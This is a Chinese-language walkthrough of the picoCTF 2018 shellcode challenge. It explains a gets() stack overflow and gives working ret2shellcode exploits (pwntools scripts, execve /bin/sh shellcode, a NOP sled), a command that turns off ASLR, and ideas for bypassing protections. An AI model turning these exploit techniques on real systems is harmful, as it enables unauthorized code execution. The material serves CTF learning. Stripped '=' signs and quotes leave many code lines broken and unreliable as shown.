PicoCTF 2018 Shellcode题目解析与漏洞利用实战

发布时间:2026/8/3 22:22:09
PicoCTF 2018 Shellcode题目解析与漏洞利用实战 1. 项目概述picoctf_2018_shellcode题目解析这道来自picoCTF 2018的题目是二进制漏洞利用PWN方向的经典入门题考察选手对shellcode基础知识的掌握程度。题目提供了一个没有开启任何保护机制的32位ELF程序核心漏洞点在于gets函数导致的栈溢出配合可执行栈环境最终需要通过注入自定义shellcode获取系统权限。在实际CTF比赛中这类基础shellcode题目通常作为PWN方向的签到题出现。根据历史统计数据显示在picoCTF 2018比赛中这道题的解题率高达78%是新手学习栈溢出和shellcode编写的理想练手材料。题目文件可通过官方存档获取文件名为vuln配套的还有vuln.c源代码比赛时通常不提供和flag.txt仅服务器端存在。2. 环境准备与工具链配置2.1 基础环境搭建推荐使用Ubuntu 18.04/20.04 LTS作为实验环境这是大多数CTF赛题的基准测试环境。需要安装以下工具包sudo apt update sudo apt install -y gcc-multilib gdb peda python3-pip pip3 install pwntools对于32位程序运行支持64位系统需要sudo apt install -y libc6-dev-i3862.2 关键工具详解PwntoolsPython编写的CTF框架提供漏洞利用开发的全套工具链。核心功能包括进程调试process()远程连接remote()字节编码asm()ROP链构建ROP()GDB PEDA增强型调试环境提供gdb -q ./vuln gdb-peda$ checksec # 检查程序保护机制 gdb-peda$ pattern create 200 # 生成定位偏移量的特征字符串2.3 题目保护机制检查使用checksec工具分析程序安全属性Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments关键信息解读32位小端序架构栈不可执行保护NX关闭 → 允许栈上执行shellcode无栈溢出检测Canary→ 可直接覆盖返回地址无地址随机化PIE→ 固定地址可利用3. 漏洞分析与利用规划3.1 静态代码分析通过逆向工程或提供的源代码如有分析漏洞点。本题的伪代码如下void vuln() { char buf[BUFSIZE]; gets(buf); // 危险函数无长度限制 puts(buf); } int main() { vuln(); return 0; }关键漏洞点使用不安全的gets()函数允许输入任意长度数据buf缓冲区位于栈上具体大小需通过动态调试确定函数没有返回值校验可直接覆盖返回地址3.2 栈结构布局分析通过动态调试确定关键偏移量使用cyclic模式字符串确定溢出点from pwn import * p process(./vuln) p.sendline(cyclic(200)) p.wait() # 查看崩溃时EIP的值 eip p.corefile.eip offset cyclic_find(eip) # 本例中为112栈内存布局函数调用时|-------------------| | shellcode | ← buf起始地址 |-------------------| | ...padding... | |-------------------| | saved EBP (4) | |-------------------| | return address | ← 需要覆盖的位置 |-------------------|3.3 利用策略设计基于题目特性采用经典的ret2shellcode技术确定buf起始地址通过调试或暴力猜测构造payload结构前N字节为有效shellcode剩余空间填充垃圾数据直到返回地址将返回地址覆盖为buf起始地址当函数返回时EIP跳转到栈上执行shellcode4. Shellcode开发与优化4.1 基础shellcode编写对于i386架构最简的获取shell的汇编代码section .text global _start _start: xor eax, eax ; 清空寄存器 push eax ; 字符串结尾\0 push 0x68732f2f ; //sh push 0x6e69622f ; /bin mov ebx, esp ; ebx /bin//sh地址 mov ecx, eax ; argv NULL mov edx, eax ; envp NULL mov al, 11 ; execve系统调用号 int 0x80 ; 触发系统调用使用pwntools编译shellcode asm(shellcraft.i386.linux.sh()) # 自动生成优化版4.2 Shellcode优化技巧避免空字节\x00使用xor eax,eax代替mov eax,0字符串结尾手动压入0而非包含在字符串中长度压缩使用短指令如inc/dec复用寄存器值编码规避对特定字符过滤时使用编码变换自修改代码技术4.3 替代shellcode方案当直接执行/bin/sh被过滤时可考虑多阶段shellcode第一阶段开放socket或反向连接第二阶段下载完整payload系统调用封装# 使用pwntools生成 shellcode shellcraft.i386.linux.cat(flag.txt) shellcode shellcraft.i386.linux.echo(Hello)5. 完整漏洞利用开发5.1 确定关键地址通过gdb获取buf地址gdb-peda$ b *vuln25 # 在gets调用后下断点 gdb-peda$ r # 运行程序 gdb-peda$ x/wx $esp # 查看栈顶指针 0xffffd0ac: 0xffffd0b0 # buf起始地址注意实际地址可能因环境差异变化需动态获取或使用NOP滑梯技术。5.2 构造最终payload标准结构[NOP sled][shellcode][padding][return address]Python实现from pwn import * context(archi386, oslinux) buf_addr 0xffffd0b0 # 需替换为实际地址 offset 112 # 构造payload nop_sled asm(nop) * 64 shellcode asm(shellcraft.i386.linux.sh()) padding bA * (offset - len(nop_sled) - len(shellcode)) payload flat([ nop_sled, shellcode, padding, buf_addr ]) # 发送payload p process(./vuln) p.sendline(payload) p.interactive()5.3 可靠性增强技术NOP滑梯NOP sled在shellcode前放置大量0x90NOP指令即使地址计算有偏差也能滑入有效区域地址爆破在ASLR开启时多次尝试可能的栈地址配合NOP滑梯提高成功率多阶段利用先泄漏地址再构造二次payload适用于更复杂的保护场景6. 实战问题排查与技巧6.1 常见错误与修复Segmentation Fault检查偏移量是否正确cyclic模式验证确认返回地址是否对齐32位需4字节对齐Shellcode不执行使用strace跟踪系统调用检查shellcode是否包含坏字符如\x00地址不稳定关闭系统ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space使用环境变量控制栈位置6.2 高级调试技巧核心转储分析ulimit -c unlimited ./vuln payload gdb ./vuln core -q内存映射检查gdb-peda$ vmmap 0xfffdd000 0xffffe000 rwxp [stack]指令级跟踪gdb-peda$ ni # 单步执行 gdb-peda$ x/10i $eip # 查看当前指令6.3 防护绕过思路当遇到部分保护开启时NX enabled转向ROP技术使用mprotect()开启可执行权限ASLR enabled地址泄漏putsgot等暴力破解配合NOP滑梯Stack Canary格式化字符串泄漏覆盖TLS中的canary值7. 扩展学习与变种题目7.1 相关CTF题目推荐基础变种hackthebox - starter_pwnpwnable.kr - fd进阶挑战picoCTF 2019 - handy_shellcode0ctf 2018 - shellcode2现实案例CVE-2014-6271 (Shellshock)CVE-2017-0144 (EternalBlue)7.2 自动化工具链Pwntools模板#!/usr/bin/env python3 from pwn import * context.update(archi386, oslinux) binary ./vuln def exploit(): # 自动化偏移量计算 io process(binary) io.sendline(cyclic(200)) io.wait() core io.corefile offset cyclic_find(core.eip) # 重新攻击 io process(binary) payload fit({ offset: p32(0xffffd100), 0: asm(shellcraft.sh()) }) io.sendline(payload) io.interactive() if __name__ __main__: exploit()Shellcode测试框架// sc_test.c char code[] \x31\xc0\x50...; int main() { void (*func)() (void(*)())code; func(); return 0; }7.3 防御技术研究现代防护机制DEP/NX数据执行保护ASLR地址空间随机化Stack Canary栈溢出检测安全开发实践使用安全的字符串函数snprintf替代sprintf启用编译期保护-fstack-protector最小权限原则运行服务漏洞缓解技术seccomp限制系统调用namespaces隔离资源capability-based访问控制